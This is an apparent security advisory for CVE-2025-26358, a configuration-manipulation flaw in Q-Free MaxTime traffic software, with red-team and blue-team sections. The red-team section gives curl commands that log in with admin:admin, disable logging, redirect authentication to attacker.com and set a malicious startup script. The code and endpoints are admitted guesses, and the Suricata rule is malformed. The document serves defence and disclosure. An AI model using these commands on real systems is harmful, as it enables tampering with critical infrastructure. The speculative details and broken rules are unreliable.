CVE-2025-26358

Executive Summary

CVE-2025-26358 is a critical configuration manipulation vulnerability in Q-Free MaxTime, a traffic management system. The flaw resides in the ldbMT.so library and allows an authenticated remote attacker to modify system configuration settings via crafted HTTP requests. This is classified as CWE-15 "External Control of System or Configuration Setting". With a CVSS score of 5.5 (Medium), the vulnerability requires authentication but can lead to significant system integrity compromise. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. The vendor, Q-Free, has not released a patch, leaving all versions up to and including 2.11.0 vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Base Score: 5.5 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker must have valid credentials.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: High (I:H) – System configuration can be modified.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While authentication is required, the ability to alter system settings can lead to further compromise, such as disabling security controls or redirecting traffic.

Deep Dive & Mechanics

The vulnerability exists in the ldbMT.so shared library, which handles HTTP requests for configuration management in Q-Free MaxTime. The library fails to properly validate or sanitize user-supplied input when processing configuration change requests. An authenticated attacker can craft HTTP requests that manipulate system settings, such as network parameters, logging levels, or authentication backends.

The root cause is the lack of input validation on parameters passed to the configuration API. The ldbMT.so library directly uses attacker-controlled values to modify system configuration files or runtime settings without checking for allowed values or ranges. This allows an attacker to set arbitrary configuration keys, potentially enabling other attack vectors like privilege escalation or denial of service.

The attack flow:

1. Attacker authenticates to the MaxTime web interface or API.
2. Attacker sends a crafted HTTP POST request to the configuration endpoint (e.g., /config/set).
3. The ldbMT.so library processes the request and modifies the system configuration.
4. The change takes effect immediately or after a service restart.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable code in ldbMT.so
void handle_config_set(http_request *req) {
    char *key = get_param(req, "key");
    char *value = get_param(req, "value");
    // No validation of key or value
    set_config(key, value);  // Directly modifies system config
}

A patched version would include input validation:

// Patched code
void handle_config_set(http_request *req) {
    char *key = get_param(req, "key");
    char *value = get_param(req, "value");
    if (!is_valid_config_key(key) || !is_valid_config_value(key, value)) {
        return_error(req, "Invalid configuration parameter");
        return;
    }
    set_config(key, value);
}

The patch would need to implement a whitelist of allowed configuration keys and validate values against expected formats.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for Q-Free MaxTime (e.g., admin:admin)
• Network access to the MaxTime web interface (typically port 80 or 443)

Exploitation Steps:

1. Authenticate to the MaxTime system:

   curl -X POST http://target/login -d "username=admin&password=admin" -c cookies.txt
   

2. Enumerate configuration endpoints (common paths):

   curl -b cookies.txt http://target/config/set -d "key=test&value=test"
   

3. Modify system configuration to disable logging:

   curl -b cookies.txt http://target/config/set -d "key=logging.level&value=OFF"
   

4. Change authentication backend to attacker-controlled server:

   curl -b cookies.txt http://target/config/set -d "key=auth.server&value=http://attacker.com/fake"
   

5. Persist changes by modifying startup configuration:

   curl -b cookies.txt http://target/config/set -d "key=startup.script&value=/tmp/malicious.sh"
   

Note: No public exploit code exists. The above is a conceptual demonstration.

Blue Team

Detection Steps:

1. Monitor HTTP requests to configuration endpoints for unusual parameters:

   tail -f /var/log/httpd/access.log | grep "/config/set"
   

2. Audit configuration changes by comparing current settings with backups:

   diff /etc/maxtime/config.ini /backup/config.ini.bak
   

3. Implement input validation at the web server level (e.g., mod_security):

   SecRule ARGS "key" "@pm logging.level auth.server startup.script" "id:1000,deny,msg:'Suspicious config key'"
   

4. Enable detailed logging for all configuration changes:

   echo "audit.log" >> /etc/maxtime/logging.conf
   

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /config/set with unusual parameters
  • Requests containing keys like logging.level, auth.server, startup.script
  • Outbound connections to unknown IPs on port 80/443 from MaxTime server

• File IOCs:

  • Modified configuration files in /etc/maxtime/
  • Unexpected scripts in /tmp/ or /var/tmp/
  • New cron jobs or startup scripts

• System IOCs:

  • Unexpected changes in system behavior (e.g., logging disabled)
  • New user accounts or modified authentication settings
  • Unusual processes running with high privileges

Detection Engineering

YARA Rule

rule CVE_2025_26358_Config_Manipulation {
    meta:
        description = "Detects exploitation attempts of CVE-2025-26358 in Q-Free MaxTime"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26358"
    strings:
        $config_set = "/config/set"
        $suspicious_keys = /(logging\.level|auth\.server|startup\.script|network\.gateway)/
        $http_post = "POST"
    condition:
        $http_post and $config_set and $suspicious_keys
}

Sigma Rule

title: CVE-2025-26358 Q-Free MaxTime Configuration Manipulation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-26358
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/config/set'
        cs-uri-query|contains:
            - 'logging.level'
            - 'auth.server'
            - 'startup.script'
            - 'network.gateway'
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26358 Q-Free MaxTime Configuration Manipulation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/config/set"; http_uri;
    content:"logging.level" or content:"auth.server" or content:"startup.script" or content:"network.gateway";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-26358;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict network access to the MaxTime web interface to trusted IPs only.
2. Implement strong authentication and enforce multi-factor authentication (MFA).
3. Monitor logs for suspicious configuration changes.
4. Apply input validation at the web server level (e.g., mod_security rules).

Long-term Fix:

• Vendor patch: Await an official patch from Q-Free. Contact Q-Free support for updates.
• Code fix: If source code is available, implement input validation in ldbMT.so to whitelist allowed configuration keys and validate values.
• Upgrade: When a patched version is released, upgrade immediately.

Workarounds:

• Disable the configuration API if not needed.
• Use a reverse proxy to filter requests to /config/set.
• Implement network segmentation to isolate MaxTime systems.

Valters IT